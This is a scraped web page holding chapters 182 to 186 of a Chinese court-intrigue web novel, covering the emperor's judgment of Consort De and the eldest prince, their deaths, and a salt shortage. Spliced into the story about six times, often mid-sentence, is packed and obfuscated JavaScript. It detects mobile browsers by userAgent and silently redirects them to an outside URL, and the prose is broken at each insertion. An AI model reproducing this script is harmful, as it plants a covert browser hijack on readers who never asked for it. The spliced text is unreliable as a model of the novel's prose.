“最让人看不起的是,你们明知道自己将要被处理,却还是用尽手段拉无辜之人下水。陈家女今年不过才十四岁,你竟然能舔着脸闯进人家房里,还说什么陈家女失仪在前。你以为别人都是瞎子聋子,看不清,听不懂?别在这儿恶心人了。人家不说那是给皇家留着面子呢,真以为你们计谋天下无双了?!” 看着底下磕头如捣蒜的母子二人,景泰帝是真觉奇怪。怎么以往相处这二十多年,从未发现这两人竟这么愚蠢?! “你们以为给个侧皇子妃之位是对人家莫大的青睐,殊不知人家根本不稀罕。我也真是奇怪,你们不是不曾见过前朝末年和本朝屡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661263|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屡出现才能出众的女官。凭什么认为人家自由自在的生活比不上在你那皇子府里当个侧妃?” 德妃这回是真的无话可说了。她跟在景泰帝身边将近三十年,对他也算较为了解,这会儿突然冷笑一声,显然是破罐子破摔了。 “臣妾知道陛下想说谁,无非是在说那个姓应的!臣妾也觉得奇怪。您明明不是什么念旧情的人,怎么就对那个应九阙另眼相看?莫不是当初与应重鸣那一战让你们惺惺相惜了吧?可惜应重鸣根本看不上陛下。否则也不会至死不曾归降大景!” “……” 景泰帝稀奇的看着德妃。 “你还是不装看着比较顺眼,以往装的贤良淑德还挺为难你吧?” “不过你这话说的就不对了。朕当然欣赏应重鸣,那可是和潮生并称为双子星的战神。前朝末年,若不是应重鸣率领应家军死守边关,北蛮二十万铁骑挥军南下不过须臾之事。哪还轮得到我们在大景境内争个你死我活?只是可惜了,应将军太过忠心,并不愿背弃前朝。否则,朕得应将军,如虎添翼啊!” “……臣妾是说,当初陛下不是有迎娶应将军之意吗?那位女将军断然拒绝,陛下就不记恨?” “原来你说的是这件事。” 景泰帝恍然大悟,浑不在意的挥了挥手,他倒是坦坦荡荡的,没有一丝作假。 “嗨!当初朕那支起义军在各路诸侯里算是最差的,而且那时候应将军名扬天下。哪个男人不想娶她?不仅能得到一名千古名将,还能得到她背后二十万应家军,何乐而不为?当初向应将军提亲的没有一千也有上百。何止是朕?朕还替潮生他们几个求娶过,可惜应将军一个也看不上。唉,至今想起来朕都觉得可惜。潮生与应将军并称双子星,若是他们两个能成亲,生出来的无论男女,必定是千古名将。那这还哪里需要担心北蛮南苗?迟早统一天下!” 第一百八十二章 送他一程 “就是可惜呀,那时候我太老了,潮生又有点儿小。应将军根本瞧不上,最后选了个书生。真是不知道应将军为什么会看上林炜那个软脚虾,长得没几两肉,花花肠子还不少。应将军就九阙一个孩子,林炜还那么苛待人家,真是令人不齿。” “……” 德妃都不知道是该夸陛下心胸宽大,还是该说他没皮没脸了。这种事情也能大大方方的说出口?难道人家应将军没看上你们父子两人是什么很值得骄傲的事情吗?态度还如此坦荡,真令人无话可说。 还真别说,当初能向应将军提亲,可是他们那些起义军里十分流行的事儿。虽说没被看上,但也间接证明了他们的身份地位吧,否则怎么有这个资格亲自向人家提亲? 短暂回忆一下当初的风云岁月,景泰帝回过神来就看到这令自己怄吐血的母子二人,那叫一个烦心。 “九福,拟旨。” “是。” “德妃不安于室,挑唆皇子,命,入皇觉寺修行,除死不得出。” “陛下!臣妾冤枉啊,陛下……” “大皇子勾结北蛮,贩卖盐铁,暗害百姓,意图谋反!废除皇子身份,赐自尽!” “父皇……” 如果说对于德妃的处置已经够让人惊讶,那么在听到对大皇子的处置后,不仅大皇子本人懵了,就连一边儿恭敬等着颁发旨意的九福都愣住了,不可置信的抬眼看着景泰帝。 陛下最疼爱自己的孩子,这可是朝野上下都知道的。如今竟然忍心亲自赐死自己的孩子?这怎么可能?他们不会听错了吧? 大皇子更是直接爬过去,试图去抓景泰帝的腿。他不相信一直都这么疼爱自己的父皇会对他下杀手。况且自己只是收了点儿钱,给了那些人一些便利而已。这有什么不行的?其他几个皇弟不也是这么做的,凭什么到他这儿就不行了? “儿臣知道错了父皇!儿臣愿意被圈禁,愿意被治罪,但儿臣不想死啊,父皇求您饶了儿臣一命吧,儿臣不是您的儿子吗?这天下谁不会犯错?儿臣只是犯了一个最普通不过的小错而已,怎么就要杀了儿臣?求求您饶了儿臣吧……” 只是大皇子的求饶声也没持续多长时间,景泰帝就一脚将他从台阶上踢了下去。 景泰帝满心满眼都是失望,直到现在老大还认为自己只是做了一件最普通不过的小事,天下、江山、百姓,在他心中只是最微小的事情。但正是这一个个最微小不过的黔首,组成了这个国家,只要他还活着一日,就不允许任何人糟蹋大景的百姓。 哪怕是自己的儿子! “朕给你留个全尸已然是莫大的恩德。你若是觉得亏,不如想想那些被你肆意辱骂尸骨无存的女子孩童!还有那些顶风喝雪,苦守边疆的将士们!你在富贵窝里享受的时候,他们连吃饱穿暖都很艰难。当然,这不仅是你的过错,也是我的过错,朕身为大景皇帝,没有保护好他们,甚至还有了你这样的逆子!” “朕实在是无言以对。” 景泰帝看着倒在地上双目失神不断落泪的大儿子,眼神有那么一瞬间的柔软,但又迅速坚硬起来。 身为人父,当然心疼自己的儿子,但他更是天下百姓的父亲! “去吧。” “父皇!” “陛下!陛下——” “母妃!母妃!儿子怕!我害怕——” 德妃听着儿子的哭求声,心如刀绞,猛然跪下,狠狠将脑袋砸向地面。 “陛下,臣妾知道事已至此我母子二人说什么也是枉然。只是,求您看在陪伴多年的情分上,让我跟咱们的儿子说句话吧。求您体谅体谅一个当娘的心情。” 景泰帝盯着她看了会儿,点了点头。 周围拉扯他们的侍卫立刻放手,德妃连滚带爬的跑过去,一把将大皇子抱在怀里,其实大皇子早就已经长大成人,身形比德妃高大的多,然而德妃依旧用自己并不如何宽广的胸怀抱着大皇子的上半身,轻声安慰。 “嘘,德成别怕,有娘在呢。” “母妃我好害怕!我不想死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661264|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你求求父皇,我真的不想死,我知道错了,我以后不会再这么做了。我以后都听话行不行?我再也不争那个位置了……” “乖,别害怕,有娘在呢。” 德妃轻轻拍打着大皇子的脊背,或许是因为有母亲在身边,大皇子的情绪这会儿没有那么激动了,只是依旧忍不住抽噎。 果然,不管人们平时看起来有多么淡定,但在面对真正的生死时,依旧会忍不住惊惧,这是人之常情。即使九福等人知晓这对母子二人做了什么事,心中愤恨不已,可在看到德妃不顾一切将大皇子护在自己怀中的模样时,依旧会忍不住生出恻隐之心。 果然,一个人不管站在多高的位置,发生危险的时候第一个想的就是自己的母亲,而一个当娘的,永远会护着自己的孩子。只不过这对母子抱成一团,只怕又要难撕扯开了。 只是就在此时,九福猛然听到大皇子喉中发出的艰涩咕噜声,好像被什么东西堵住似的。猛然抬头,赫然发现德妃手中那只簪子准确无比的刺入大皇子的太阳穴里!而德妃还在轻轻拍着他的脊背,眼神 温柔的盯着自己的儿子。 “嘘,嘘,别怕,很快就结束了。” 脑袋对人何其重要!大皇子这么危险的位置被刺了一下,而且那只金簪几乎全部没入脑袋,大皇子也只来得及抬头看看自己的娘亲,动了动嘴,连半个字都没说出来,抓着德妃衣服的手就猛然垂落! 所有人都被眼前这一幕吓得呆住了。就连景泰帝都忍不住上前半步,仅仅半步,就收回了自己的脚,面无表情的注视着这一幕。 德妃紧紧搂住自己的孩子,她这辈子子嗣缘不深,仅此一个孩子。从小捧在手里怕晒了,含在嘴里怕化了,疼爱的不得了。正是因为太爱自己的孩子,所以想让他拥有这世间最好的一切,包括那个至高无上的位置。 只是没想到,筹划数十载,最终还是功亏一篑。 这孩子最怕疼了,偏偏又要面子,与其让他痛苦的离开,还不如让自己这个当娘的送他一程。 第一百八十三章 双双薨逝 直到看着大皇子缓缓闭上眼睛,德妃才猛然住口,捂住自己的嘴,很长时间之后才猛然爆发出一声痛苦的凄厉喊叫。 “儿啊——” 景泰帝缓缓闭上眼,眼前一片漆黑,耳中似乎也有不断轰鸣的声音,快速伸手捂住口鼻,然后悄悄放了回去。跪在他身侧的九福瞳孔猛然一缩,陛下那明黄龙袍袖子上,有一团刺目的血色! “把德妃送入皇觉寺。” 旁边的侍卫就要执行陛下的命令,然而有些疯魔的德妃此刻却猛然抬起头,眼神如同利箭般尖锐的刺向景泰帝! “陛下亲手逼死了自己的亲儿子,您现在满意了吗?!高兴了吗?!” “……德妃痛失爱子,心智昏聩,逐入皇觉寺,永世不得出。” 周围人噤若寒蝉,德妃却什么都顾不了了,她抱着身体渐渐冰凉下去的儿子,神情癫狂。 “陛下,你确实英明神武,是难得一见的开国帝皇!你这般冷心冷肺,可有想过自己的后果?!” “德妃娘娘疯了,快把她压下去!” 九福连忙开口,若是平时,他怎么也不敢说出这样以下犯上的话。可德妃眼看着因痛失爱子就要对陛下出言不逊,他总不能干看着吧? 然而景泰帝却挥了挥手,示意那些进退两难的侍卫下去。 “让她说。” “陛下,您富有四海,可是天下怎会有长生之人?您手中的担子总要给下一代。三皇子死了,大皇子被你逼死,如今只剩下二皇子和四皇子。平日里,文武骑射,他们又有哪一样比得上我的皇儿?二皇子病弱酸腐,四皇子胆小如鼠。他们哪一个担得起大梁?难道你辛辛苦苦几十年打下来的江山就要交给那样的人吗?” “继续。” “陛下,你已经老了,人不服老不行。明明你平日里提拔臣子不分高低贵贱,怎么偏偏就看不到我们的孩子?他从小就那么努力,为了背会一篇诗赋,整宿整宿的不睡觉。为了能练好箭术讨你欢心,手都被磨出茧子,也不曾喊痛。他明明是那么孝顺的孩子,你平日里看不到他也就算了。为什么非要杀了他?” “臣妾理解你,臣妾在你身边几十年,又怎会不知道你的雄心抱负?你是一定要杀了我们的孩子,那还不如我亲自动手,也能给他个体面。” 德妃缓缓拔出那根簪子,这簪子只是外面镀了层金,里面是已经磨的尖利的铁簪。或许她从一开始就已经预料到今日的结局,所以也不曾害怕。 倒是周围那些侍卫听到德妃刚刚的怨妄之言,又看到她拔出这只簪子,都紧张的不得了,生怕她对陛下不利。 “德妃娘娘,您不要冲动——” “陛下,您还是先退后……” 景泰帝动都不带动一下,只是安静的盯着这个平日里贤良淑德的女人。他好像真不是个好皇帝,也不是个好丈夫,好父亲。同床共枕这么多年,竟也从看不透这女人内心的想法。 德妃轻蔑的看了一眼周围紧张不已的侍卫,大声道。 “陛下,您以为只有我儿做了错事吗?仔细看看你剩下的两个儿子吧。还有这个朝堂,远没有你想象中那么平稳。这天下有的是人想要江山易主!” “臣妾就和儿子先走一步,我们等着看,看您要如何将这个天下平稳的维持下去。看您要给这个天下找一个怎样的未来主人!” “德成!娘来陪你了——” 德妃握着那根夺走儿子性命的金簪,毫不犹豫的,狠狠的刺进咽喉!这簪子是特制的,大股大股的鲜血顺着簪子往外狂喷,沾湿了德妃身上那件精致的天青色衣裙,又缓缓落到大皇子身上。德妃的意识渐渐模糊,眼前似乎又出现了年轻时与自己的丈夫儿子一起相处的场景。 她的丈夫高大英俊,勇武之名天下皆传。她的儿子乖巧孝顺,聪明可爱。那时候的他们多快乐啊…… 用尽最后的力气抱住大皇子不再温暖的身子,德妃从喉中吐出几个模糊不清的字眼。 “德成,别怕,娘来陪你了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680908|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了许久,周围侍卫都没能从这血腥又诡异的一幕回过神来。倒是景泰帝缓缓睁开双眼,盯着那对已经殒命的母子二人看了看,疲惫不堪的挥手。 “把他们带下去,葬了。” “这……陛下,是否要按照礼制安葬?” 景泰帝闭了闭眼。 人死百事空,不至于让他们母子二人死后难安。 “让礼部操办吧。” “莫要奢侈。” “是。” 九福毕恭毕敬的应下,以往皇室中有人去世,陛下都会特意赐下章程,给予极大的死后哀荣。既然陛下说莫要奢侈,那就只会按照礼法操办,不会有一丝一毫的出格。由此可见,陛下即使心中盛怒,对德妃和大皇子还是留了一丝情分的。唉,只是可惜,这母子二人体会不到陛下的用心啊。 揉着额角,景泰帝最后看了一眼血淋淋的母子二人,转身大步离开。无论生前死后,夫妻之情,父子之意,他都已经尽了。若你们泉下有知,早些投胎,莫要再生在帝王之家了…… 当大皇子与德妃双双薨逝的消息传出,满堂皆惊。 尤 其是兵部尚书陈默,他刚回到府中跟妻儿子女商量大皇子恬不知耻要他宝贝女儿过去做侧室的事儿,还没商量出个所以然呢就得到这样的消息,整个陈府都沉默了。 就连陈默都震惊的看看皇宫的方向。他虽然明里暗里告了大皇子和德妃一状,但陛下也不至于将这母子二人处死吧?这动作是不是太快?还是他在陛下心中有这样高的地位?他自己怎么不知道? 陈夫人惊讶的拽了拽陈尚书的胳膊,险些把他拽倒,一双眼睛怀疑的盯着自己的丈夫。 “你说陛下是因为咱家闺女的事儿才这么生气吗?可虽然那母子二人的手段不太光明,也罪不至死吧?” 还是你跟陛下有什么不可告人的关系,才让陛下这么重视你? 看到自家夫人怀疑的眼神,陈尚书就差没有指天画地的发誓了。 第一百八十四章 不高兴才怪 “夫人,我绝对是清白的,不信你看我的眼睛,我怎么可能会骗你呢?!咱们两个都成亲三十多年了,我是个什么样的人难道你还不清楚吗?我也不知道陛下这是怎么了,他平日里最疼爱自己的儿子,谁说一句都要呲牙。但这跟我还真没关系,我就是把大皇子母子二人欺负咱家的事儿隐晦的跟陛下提了提,说不定他们是犯了其他什么事儿,才让陛下如此盛怒。你可一定要相信我的清白……” “行了,一下说那么多话,也不怕孩子们笑话。” 陈夫人看着儿女们控制不住偷笑的表情,忍不住狠狠戳了自己丈夫一下,脸上也觉得热热的。怎么这么大把年纪了还跟小年轻似的,爱闹。 不过笑闹归笑闹,等回过神来,陈夫人还是有些担忧。 “我总觉得陛下不会因为咱家的事儿就处死大皇子和德妃。这成亲是你情我愿的事,如果咱们不愿意,陛下直接拒绝德妃和大皇子不就是了,何至于要杀人呢?” 五个儿子你看看我我看看你,他们虽然都在场围观,可并没有官位特别高的,只是做实事的性子。对这种真正上位者之间的博弈也不太敏感。 陈尚书看着这五个蠢儿子就觉生气。这都入朝为官多少年了,连这点儿政治觉悟都没有,怪不得一辈子只能当个小官儿。 倒是陈尚书年仅十四岁的女儿这会儿若有所思的开口。 “陛下肯定不会因为这点儿女私事就处死一位高位嫔妃和大皇子。说不定是那对母子做的其他事儿发了,被陛下发现,不得不处死。” “可再怎么说那也是陛下的亲生儿子,而且大皇子居长,朝中有不少臣子都支持他,陛下怎么说处理就处理了呢?” 陈尚书刚想夸夸自己聪明伶俐的女儿,就听到三儿子这蠢话,当即气了个好歹,上前去狠狠给了他后脑勺一巴掌。 “你怎么就不动脑子想想?你脖子上顶的那玩意儿是喘气儿的吗?如果大皇子不是做了十恶不赦,无法容忍的错事儿,陛下怎么可能会杀自己的亲子?” 陈家三子被亲爹狠狠揍了一下也不生气,摸了摸后脑勺,憨憨直笑。 “爹,我不正是因为想不到才问你的嘛。你刚从皇宫出来,说不定和你有关?” 陈尚书气的直喘粗气儿,家门不幸,家门不幸啊,再看看另外几个眼神躲闪不敢看自己的儿子,陈尚书简直要气晕过去。感情他刚刚解释那么多都白解释了,是吧? 不过连自己的儿子都这么想,外边儿那些人肯定都会认为这件事儿跟自己有关。哎呀,他留下的时机不太恰当,这会儿外面的流言蜚语肯定已经带上他了。 不过陈尚书是真冤枉呀,除了这件私事儿以外,他也没听说大皇子做了什么天怒人怨的坏事儿。除非…… 这时候陈子衿也缓缓抬起眼,看了下黔州盐城的方向,若有所思。 “爹,你别插手,不是咱们能插上手的事。如今外头各式各样的流言蜚语都有,盐之一业,可动摇国家根基。若大皇子身为陛下长子,却不顾江山社稷插手其中,也怪不得陛下会如此生气。” “爹也这么觉得,不过总感觉这其中有其他事儿。啧,可惜咱们相隔千里,鞭长莫及。还真想知道到盐城那边儿到底怎么了。” 陈尚书相当欣赏自家闺女这敏锐的思维,说起来外人可能不太相信,他每日回家面对自己政事上一窍不通的儿子们就气不打一处来。从子衿八岁上起,陈尚书每日回家能商讨政事的竟只有自己唯一的闺女了。 这时候陈子衿给出了一条忠告。 “爹,陛下交代你们做的事儿,你一定要踏踏实实的做了。至于其他人,别管他们怎么说,咱只需要老老实实做好自己分内之事就行。我看着京城的天,要变了。” “是啊,这天确实要变了。” 等那几位把天捅破的钦差回来,大景的天才真正风云变幻呢。说起来,那位应县主年纪轻轻就能搅动风云,更神奇的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680909|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是能得到陛下信任。以女子之身跻身朝堂,还能越爬越高,实在不是件容易事儿。 陛下今日的意思,等那位县主回来,还有大大的封赏等着。也不知晓那位县主究竟能走到什么位置。 说起女子,陈尚书忍不住回头看了看神情淡定自若的闺女,忍不住有些心疼她。 “我儿这些时日担惊受怕了,以后再也不需要担心大皇子和德妃二人。” “是啊妹妹,你不用再担心了,以后哥哥们一定给你找一个称心如意的好夫婿。妹妹如此聪明伶俐,怎么能给别人做侧室?” “就是!我的妹妹配得上天下顶尖男儿。就是可惜跟妹妹差不多年纪的儿郎,整个京城我都扒拉过好几遍儿,实在没几个出色的。要是真让妹妹嫁给他们,我都为妹妹委屈。” “怎么着也得找个最好的。那种还没成亲家里就有妾室通房的,根本不行。怎么着也得找个清清白白的男儿郎……” 几个兄弟商量的热火朝天,倒是陈尚书敏锐察觉到闺女的情绪并不高涨。 “子衿,你有心事?” 陈子衿张了张嘴,任她再怎么聪明伶俐,如今也不过是个十四岁的少女,说起婚嫁问题难免有些羞涩担忧。而 且不论是父母还是兄长们,对她都尽心尽力。她若在此刻说出拒绝的话,是不是有些不识抬举? “爹,我不想……” “嗯?” “……没什么,我只是在想,应大人真是位人才,这么年轻就敢暗地里跑到千里之外查案,而且还把那些贪官污吏都给抓起来了,这些时日女儿看运进京城中的赃款如流水一般,户部尚书高兴的很。还有那位刑部的淳于大人,年纪轻轻,才高八斗。这次回来又要升官了吧?” “老朱啊?他当然高兴了。平日里就是属貔貅的,只进不出。看见别人从户部拨款就心疼的直抽抽,这猛然来个不需要他拨款反而还送进来大笔金银的人,他不高兴才怪!” 第一百八十五章 要乱了 陈尚书的语气听起来有些酸酸的。他们兵部运送兵器,调动兵马,甚至还有边疆将士们的吃穿住行,哪一样不要钱?可偏偏都需要老朱那个吝啬鬼拨款,每回让他拨款,跟要杀了他似的!磨磨唧唧,磨磨唧唧!就没有一次干脆利落过。让他拨个钱而已,又不是让他自己掏钱,看自己跟看生死仇人似的。想起他那副嘴脸陈尚书就生气,可偏偏还得跟人家笑眯眯的。要是关系处坏了,说不定下次就卡你的款项。 看着那白花花的银子流进国库,陈尚书也眼馋啊,他还想给边疆将士们补充一批新的枪械,这都要跟北蛮鞑子们打起来了,要是没有趁手的好兵器还怎么打架? 不行,他得找个功夫跟老朱唠唠,怎么着也得给他们多拨点儿款项。就是紧接着陈尚书就敏锐察觉到自家闺女提起应县主的时候语气不太对劲。说起来他家子衿也是从小读书识字,五个兄长没一个比过她的。 若不是女子身份限制,去考个科举,说不定也能拿个状元回来。等等,子衿会不会正是因此才感到憋闷? 说起来以往没有这个先例倒是不好办,可若是应县主归来,官位能得到更大的提升。岂不是说明女子在我朝也能加官进爵? 嘶,一想到这个可能,陈尚书也坐不住了。自家闺女明明很有才华,凭什么要让别家小子后来居上?这得找个时间跟陛下唠唠啊。天下子民都是陛下的孩子,怎么能因为男女身份就厚此薄彼呢?这可不行。 且不说陈尚书这边儿心心念念要找个机会跟陛下唠唠嗑,京城某个极其豪华奢侈的院落内,一个略显虚弱的身影,狠狠将手中的毛笔摔在地上,上好的玉笔直接摔碎成好几截,墨汁溅了一地,即便如此,那人影也没有消气,狠狠将桌面上的笔架全都摔到地上,价值千金的各式各样上等毛笔滚落一地。紧接着是砚台镇纸…… 听到那清脆的碎裂声,人影才算勉强松了口气,随即示意身边服侍的人动手。只见身边侍女手上捧着一匹匹崭新的珍珠锦。这些珍珠锦极为难得,每一批都需要至少从业二十年以上的大师傅用三层楼那么高的织机小心翼翼的织进去各式各样花纹,再用最上等的天蚕丝织进去光泽。一匹布最少也要三年时间才能织就而成,就连每年进奉给陛下的贡品也不过寥寥十匹。一是因为实在美丽,二是因为这珍珠锦确实太过脆弱,稍不注意就有可能会脱线,这东西一旦脱线,随之而来的就是整片布料的损坏。所以就算皇家用起来也相当节省。 但就是那么珍贵的珍珠锦,在这间屋子里至少也有三十匹。 随着那虚弱人影一声令下,三十个侍女齐刷刷拎起珍珠锦的一端,纤纤玉手用力一撕。 “刺啦!” “刺刺啦!” 整间屋子里珍珠锦被撕裂的声音不绝于耳。随着珍珠锦被不断撕裂,那坐在宽大太师椅上的虚弱人影脸上才算露出个舒适的表情。 过了整整半个时辰,这间屋子里的三十匹珍珠锦全被撕碎,那瘦弱苍老的身影才轻描淡写的挥了挥手,让服侍的人都下去。 此刻,一直等在旁边胆战心惊的幕僚,见主子脸色好了些,才敢小心翼翼上前。 “您就别生气了,若是实在在意,不如属下派人半路截杀,把那几个不识趣的都留在外地?” “愚蠢。” 那人影缓缓吐出这两个字,倒也没有太生气,或许是因为刚刚听珍珠锦被撕裂的声音让他怒火消了许多,这会儿语气和缓,让那幕僚悬着的心放了下来。 “这时候动手,你是怕陛下抓不住尾巴?” “是是是,属下愚昧。” “行了,让你手下的人再加把火,陛下不想让底下那些黔首们知道盐城的盐已经没了,咱们总不能也瞒着天下百姓啊,毕竟这天下百姓都是大景的子民,咱们身为同胞,也得放出去点儿消息让大伙儿消消火。这要是真去晚一步买不来盐,以后几十年只能用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694370|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醋布度过余生了。岂不太过可怜?” “是是,还是主子您英明果断。” “知道就去做吧,等会儿,把库房那批白玉扇子带过来,我这心里呀,总是憋着股火儿发不出去。找几个心灵手巧的丫头过来,撕起来才动听呢。” “都听主子的。” 那批白玉扇子每一饼都是用上好的和田玉所制,最便宜的也要五百两一把,可在主子这儿,也不过就是听个响。 做人能做到主子这境地,才算不枉来人间走一遭呢! ### 渐渐的,人们发现盐越来越不好买了。虽说如今盐是由朝廷掌管,可也抵不住有贩卖私盐的,毕竟要比官盐便宜个两三万呢。可现在大伙儿发现不仅官盐买不到了,连以前随处可见的私盐贩子也找不着了。 那些原本不着急的人家看到这种情况也着急了,但越着急越发现根本买不到盐。盐这东西,平日里够吃就行了,普通人家谁会买一大堆盐搁家里放着?都是随吃随用。当左邻右舍都发现买不到盐之后,一股焦躁的情绪开始在普通人家里蔓延。 那些富贵人家是不怕的,他们平日里采购都是成堆成堆的买,眼下家里还有余粮。只不过他们也能明显感觉到,盐不够了。 甚至还 有些不法分子伺机提价,一些平常价位的粮食油酱醋也开始涨价,普通百姓的日子渐渐难过起来。 好在仅仅是盐不够,若是粮食不够吃,这段时间足够闹起来了,不过现在也没好到哪儿去。 今日小朝会,也就几个重臣会在养身殿跟陛下论事。好些臣子都忧心忡忡,也顾不得陛下刚没了大皇子心里难过,将此事提了出来。 “陛下,如今百姓们买不到盐,日渐焦躁,这几日大街上出了好几起打架斗殴事件,都是因为抢盐抢出来的,有几件还见了血伤了人。实在不能再这样下去了,若是盐城还有余盐,还请尽快调入。” 第一百八十六章 落井下石 “是啊,陛下,其实咱们的盐都是够吃的。官盐署里的纯盐足够咱们吃上三年有余,可问题是现在大伙儿都慌了,不停的抢,盐这东西就算买回去也不能当饭吃。但奈何大家就是慌。若是不能让大伙儿平静下来,还得出乱子。” “其实底下官吏也曾敲锣打鼓告示过,说盐库里的盐够吃,奈何大家不相信。若是不能缓解焦虑,势必起乱。” “滨阳王为何还不上书解释?盐城的盐井盐湖所产食盐足够咱们大景朝吃上几百年。现下正是紧急时刻,若是能先产出几十车盐,也能缓解眼下急情。” 说到这儿大伙都不吭声了,眼巴巴的瞅着陛下,若是陛下真有法子,这时候就别藏着掖着了,赶紧告诉他们吧,他们都快急死了。 也有人悄悄观察陛下和百官的反应,心中冷笑。盐城的所有盐湖盐井都被投了毒,至少八十年之内所产食盐都不能吃。他倒要看看当今陛下从哪儿变出来盐。倒要看看这位天纵奇才的皇帝怎么处理此次危机。 “不仅如此,坊间出现了私盐贩子,价格比起之前涨了五倍有余!买盐不亚于割肉。如今这种情况还有人囤货居奇,实在居心不良。还请陛下早日处理……” 于是接下来又是一番讨论。而坐在椅子上的景泰帝只是冷静的看着臣子们你来我往的讨论。同时那双幽深的眼睛在臣子们身上不动声色的转来转去。 就在此刻,九福脸色难看的走了进来,大家对他都很熟悉,此刻见他面色不佳,心中都有了不好的猜测,只是谁也没想到,对方竟会带来这样的消息。 景泰帝看完九福呈上来的奏折之后,雷霆大怒,狠狠将折子摔在桌子上,不断的喘着粗气,脸色通红,底下众臣面面相觑,连忙请罪。 “欺人太甚,实在是欺人太甚!那些该死的北蛮鞑子!竟敢趁火打劫!竟然说要以十倍之价卖给我朝食盐!真是放肆!死不悔改的东西!” 大家原本还不知道陛下为何如此愤怒,听了这话之后一个个的脸色都不好看。这是在欺辱陛下吗?不,这是在欺辱他们整个大景! 尤其是在坐众人已经知晓陛下当初为何会处理大皇子与德妃母子二人,北蛮这是拿着他们大景的盐,要以十倍之价卖回来,还要顺带嘲笑他们一番,在他们脸上踩上一万只脚! 当真是欺人太甚。 在大景朝,只要是个略有血性的人,听到北蛮这般恬不知耻的做法,很少有人能维持住冷静。尤其对方实在蹬鼻子上脸,拿了他们大景朝的食盐还不算,还要反过来羞辱他们。当下就有臣子愤怒的出生唾骂。 更严重的是这些话,北蛮使臣不仅派了国书过来,而且还在双方交战的战场上派士兵大声喊出来。所以现在整个边疆都知道大警察如今没盐了,仅剩的盐场都被投了毒,八十年之内都不能使用。这样的消息传出,不仅大景百姓会惊恐,连正在打仗的边疆将士们也会惊惧! 尤其是他们在边疆累死累活的打仗,陛下的皇子竟然与北蛮勾结,贩卖盐铁过去,甚至还把他们国家的女子低价卖过去。这不是在背后挖墙根嘛?而且还是自家人挖自家人的墙角。 好在陛下早就将大皇子与德妃母子二人处理了。如若不然,现在边疆可要生乱了。即便如此,若是食盐一事无法解决,还会出更大的乱子。 在座众人狠狠的发了一通火之后,还是忍不住叹了口气。不管再怎么生气,他们如今没盐可吃是真的。百姓们倒是能先暂且缓缓,可若边疆将士们因此生乱,这场战争是输是赢还是两说…… 连陛下都闭口不言,说明如今这时局不容细想啊。 大家都愁眉不展,你看看我,我看看你,连个像样的法子都拿不出来,巧妇难为无米之炊。他们现在根本拿不出盐,就算说的天花乱坠,百姓们也不会相信啊。 这时候有臣子忍不住建议。 “要不咱们先派人去周边小国悄悄买一批盐回来?” “晚了,那些小国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 